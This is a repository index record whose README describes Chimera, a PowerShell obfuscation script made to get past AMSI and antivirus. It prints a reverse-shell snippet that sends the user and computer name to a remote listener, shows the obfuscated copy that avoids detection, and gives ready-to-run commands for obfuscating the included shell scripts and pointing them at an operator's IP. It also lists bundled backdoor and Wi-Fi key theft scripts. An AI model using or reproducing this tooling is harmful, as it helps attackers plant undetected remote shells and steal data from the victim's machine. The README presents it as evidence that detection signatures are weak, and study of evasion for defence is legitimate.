{"id":13510646,"url":"https://github.com/tokyoneon/Chimera","last_synced_at":"2025-03-30T16:34:27.114Z","repository":{"id":38353840,"uuid":"291930936","full_name":"tokyoneon/Chimera","owner":"tokyoneon","description":"Chimera is a PowerShell obfuscation script designed to bypass AMSI and commercial antivirus solutions.","archived":false,"fork":false,"pushed_at":"2021-11-09T12:39:59.000Z","size":6056,"stargazers_count":1408,"open_issues_count":7,"forks_count":236,"subscribers_count":32,"default_branch":"master","last_synced_at":"2024-10-16T00:22:14.306Z","etag":null,"topics":["amsi","antivirus","antivirus-evasion","attack","bypass-antivirus","information-security","kali","kali-linux","kali-script","kali-scripts","offensive-security","payload","payload-generator","payloads","penetration-testing","reverse-shell","shell","shell-scripts"],"latest_commit_sha":null,"homepage":"https://null-byte.com/bypass-amsi-0333967/","language":"PowerShell","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/tokyoneon.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null}},"created_at":"2020-09-01T07:42:22.000Z","updated_at":"2024-10-15T14:41:48.000Z","dependencies_parsed_at":"2022-07-06T19:03:29.545Z","dependency_job_id":null,"html_url":"https://github.com/tokyoneon/Chimera","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tokyoneon%2FChimera","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tokyoneon%2FChimera/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tokyoneon%2FChimera/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tokyoneon%2FChimera/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/tokyoneon","download_url":"https://codeload.github.com/tokyoneon/Chimera/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":222566739,"owners_count":17004237,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["amsi","antivirus","antivirus-evasion","attack","bypass-antivirus","information-security","kali","kali-linux","kali-script","kali-scripts","offensive-security","payload","payload-generator","payloads","penetration-testing","reverse-shell","shell","shell-scripts"],"created_at":"2024-08-01T02:01:48.381Z","updated_at":"2024-11-01T11:30:54.248Z","avatar_url":"https://github.com/tokyoneon.png","language":"PowerShell","funding_links":[],"categories":["PowerShell","shell"],"sub_categories":[],"readme":"Chimera is a (shiny and very hack-ish) PowerShell obfuscation script designed to bypass AMSI and antivirus solutions. It digests malicious PS1's known to trigger AV and uses string substitution and variable concatenation to evade common detection signatures.\n\n![](images/chimera.gif)\n\nChimera was created for [this write-up](https://null-byte.com/bypass-amsi-0333967/) and is [further evidence](https://github.com/tokyoneon/Chimera#resources) of how trivial it is to bypass detection signatures. Hopefully, this repository will inspire someone to build something robust and more reliable.\n\n## How Chimera works...\n\nBelow is a snippet of Nishang's [Invoke-PowerShellTcp.ps1](shells/Invoke-PowerShellTcp.ps1), found at [nishang/Shells](https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1). VirusTotal reports [25 detections](https://www.virustotal.com/gui/file/0f1e223eaf8b6d71f65960f8b9e14c98ba62e585334a6349bcd02216f4415868/detection) of the PS1 script.\n\n```powershell\n$stream = $client.GetStream()\n[byte[]]$bytes = 0..65535|%{0}\n\n#Send back current username and computername\n$sendbytes = ([text.encoding]::ASCII).GetBytes(\"Windows PowerShell running as user \" + $env:username + \" on \" + $env:computername + \"`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n\")\n$stream.Write($sendbytes,0,$sendbytes.Length)\n\n#Show an interactive PowerShell prompt\n$sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '\u003e')\n$stream.Write($sendbytes,0,$sendbytes.Length)\n```\n\n![](images/chimera-01.png)\n\nAnd here it is again, after Chimera. VirusTotal reports [0 detections](https://www.virustotal.com/gui/file/74a47198fefa10a8ebb88a8b130259e56a5a9fc4302089ac73009742ba5c98dc/detection) of the obfuscated version.\n\n```powershell\n  # Watched anxiously by the Rebel command, the fleet of small, single-pilot fighters speeds toward the massive, impregnable Death Star.\n              $xdgIPkCcKmvqoXAYKaOiPdhKXIsFBDov = $jYODNAbvrcYMGaAnZHZwE.\"$bnyEOfzNcZkkuogkqgKbfmmkvB$ZSshncYvoHKvlKTEanAhJkpKSIxQKkTZJBEahFz$KKApRDtjBkYfJhiVUDOlRxLHmOTOraapTALS\"()\n       # As the station slowly moves into position to obliterate the Rebels, the pilots maneuver down a narrow trench along the station’s equator, where the thermal port lies hidden.\n          [bYte[]]$mOmMDiAfdJwklSzJCUFzcUmjONtNWN = 0..65535|%{0}\n   # Darth Vader leads the counterattack himself and destroys many of the Rebels, including Luke’s boyhood friend Biggs, in ship-to-ship combat.\n\n  # Finally, it is up to Luke himself to make a run at the target, and he is saved from Vader at the last minute by Han Solo, who returns in the nick of time and sends Vader spinning away from the station.\n           # Heeding Ben’s disembodied voice, Luke switches off his computer and uses the Force to guide his aim.\n   # Against all odds, Luke succeeds and destroys the Death Star, dealing a major defeat to the Empire and setting himself on the path to becoming a Jedi Knight.\n           $PqJfKJLVEgPdfemZPpuJOTPILYisfYHxUqmmjUlKkqK = ([teXt.enCoDInG]::AsCII).\"$mbKdotKJjMWJhAignlHUS$GhPYzrThsgZeBPkkxVKpfNvFPXaYNqOLBm\"(\"WInDows Powershell rUnnInG As User \" + $TgDXkBADxbzEsKLWOwPoF:UsernAMe + \" on \" + $TgDXkBADxbzEsKLWOwPoF:CoMPUternAMe + \"`nCoPYrIGht (C) 2015 MICrosoft CorPorAtIon. All rIGhts reserveD.`n`n\")\n# Far off in a distant galaxy, the starship belonging to Princess Leia, a young member of the Imperial Senate, is intercepted in the course of a secret mission by a massive Imperial Star Destroyer.\n            $xdgIPkCcKmvqoXAYKaOiPdhKXIsFBDov.WrIte($PqJfKJLVEgPdfemZPpuJOTPILYisfYHxUqmmjUlKkqK,0,$PqJfKJLVEgPdfemZPpuJOTPILYisfYHxUqmmjUlKkqK.LenGth)\n   # An imperial boarding party blasts its way onto the captured vessel, and after a fierce firefight the crew of Leia’s ship is subdued.\n```\n\n![](images/chimera-02.png)\n\nChimera does several things to obfuscate the source. The `transformer` function will separate strings into multiple pieces and reconstruct them as new variables.\n\nFor example, it will take a string like `... New-Object System.Net.Sockets.TCPClient ...` and convert it to:\n\n```powershell\n$a = \"Syste\"\n$b = \"m.Net.Soc\"\n$c = \"kets.TCP\"\n$d = \"Client\"\n\n... New-Object $a$b$c$d ...\n```\n\nThe function separates commonly flagged data types and strings into several chunks. It defines the chunks and concatenates them at the top of the script. A higher `--level` will result in smaller chunks and more variables.\n```powershell\n$CNiJfmZzzQrqZzqKqueOBcUVzmkVbllcEqjrbcaYzTMMd = \"`m\"\n$quiyjqGdhQZgYFRdKpDGGyWNlAjvPCxQTTbmFkvTmyB = \"t`Rea\"\n$JKflrRllAqgRlHQIUzOoyOUEqVuVrqqCKdua = \"Get`s\"\n$GdavWoszHwDVJmpYwqEweQsIAz = \"ti`ON\"\n$xcDWTDlvcJfvDZCasdTnWGvMXkRBKOCGEANJpUXDyjPob = \"`L`O`Ca\"\n$zvlOGdEJVsPNBDwfKFWpvFYvlgJXDvIUgTnQ = \"`Get`-\"\n$kvfTogUXUxMfCoxBikPwWgwHrvNOwjoBxxto = \"`i\"\n$tJdNeNXdANBemQKeUjylmlObtYp = \"`AsC`i\"\n$mhtAtRrydLlYBttEnvxuWkAQPTjvtFPwO = \"`G\"\n$PXIuUKzhMNDUYGZKqftvpAiQ = \"t`R`iN\n```\n\n## Usage\n\nClone the repository. Tested in Kali v2020.3.\n```\nsudo apt-get update \u0026\u0026 sudo apt-get install -Vy sed xxd libc-bin curl jq perl gawk grep coreutils git\nsudo git clone https://github.com/tokyoneon/chimera /opt/chimera\nsudo chown $USER:$USER -R /opt/chimera/; cd /opt/chimera/\nsudo chmod +x chimera.sh; ./chimera.sh --help\n```\n\nBasic usage.\n```\n./chimera.sh -f shells/Invoke-PowerShellTcp.ps1 -l 3 -o /tmp/chimera.ps1 -v -t powershell,windows,\\\ncopyright -c -i -h -s length,get-location,ascii,stop,close,getstream -b new-object,reverse,\\\ninvoke-expression,out-string,write-error -j -g -k -r -p\n```\n\nReview the [usage guide](USAGE.md) and [write-up](https://null-byte.com/bypass-amsi-0333967/) for more examples and screenshots.\n\n## Shells\n\nIn the `shells/` directory are several Nishang scripts and a few generic ones. All have been tested and should work fine. But there's no telling how untested scripts will reproduce with Chimera...\n\nChange the hardcoded IP addresses.\n```\nsed -i 's/192.168.56.101/\u003cYOUR-IP-ADDRESS\u003e/g' shells/*.ps1\n```\n\n```\nls -laR shells/\n\nshells/:\ntotal 60\n-rwxrwx--- 1 tokyoneon tokyoneon 1727 Aug 29 22:02 generic1.ps1\n-rwxrwx--- 1 tokyoneon tokyoneon 1433 Aug 29 22:02 generic2.ps1\n-rwxrwx--- 1 tokyoneon tokyoneon  734 Aug 29 22:02 generic3.ps1\n-rwxrwx--- 1 tokyoneon tokyoneon 4170 Aug 29 22:02 Invoke-PowerShellIcmp.ps1\n-rwxrwx--- 1 tokyoneon tokyoneon  281 Aug 29 22:02 Invoke-PowerShellTcpOneLine.ps1\n-rwxrwx--- 1 tokyoneon tokyoneon 4404 Aug 29 22:02 Invoke-PowerShellTcp.ps1\n-rwxrwx--- 1 tokyoneon tokyoneon  594 Aug 29 22:02 Invoke-PowerShellUdpOneLine.ps1\n-rwxrwx--- 1 tokyoneon tokyoneon 5754 Aug 29 22:02 Invoke-PowerShellUdp.ps1\ndrwxrwx--- 1 tokyoneon tokyoneon 4096 Aug 28 23:27 misc\n-rwxrwx--- 1 tokyoneon tokyoneon  616 Aug 29 22:02 powershell_reverse_shell.ps1\n\nshells/misc:\ntotal 36\n-rwxrwx--- 1 tokyoneon tokyoneon 1757 Aug 12 19:53 Add-RegBackdoor.ps1\n-rwxrwx--- 1 tokyoneon tokyoneon 3648 Aug 12 19:53 Get-Information.ps1\n-rwxrwx--- 1 tokyoneon tokyoneon  672 Aug 12 19:53 Get-WLAN-Keys.ps1\n-rwxrwx--- 1 tokyoneon tokyoneon 4430 Aug 28 23:31 Invoke-PortScan.ps1\n-rwxrwx--- 1 tokyoneon tokyoneon 6762 Aug 29 00:27 Invoke-PoshRatHttp.ps1\n```\n\n## Resources\n\n- * [Invoke-Obfuscation](https://github.com/danielbohannon/Invoke-Obfuscation)\n- * [AMSITrigger](https://github.com/RythmStick/AMSITrigger)\n- * [PSAmsi](https://github.com/cobbr/PSAmsi)\n- * [amsi.fail](https://amsi.fail/)\n- * [Unicorn](https://github.com/trustedsec/unicorn)\n- * [www.wolfandco.com](https://www.wolfandco.com/insight/behind-enemy-lines-pen-tester%E2%80%99s-take-evading-amsi)\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Ftokyoneon%2FChimera","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Ftokyoneon%2FChimera","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Ftokyoneon%2FChimera/lists"}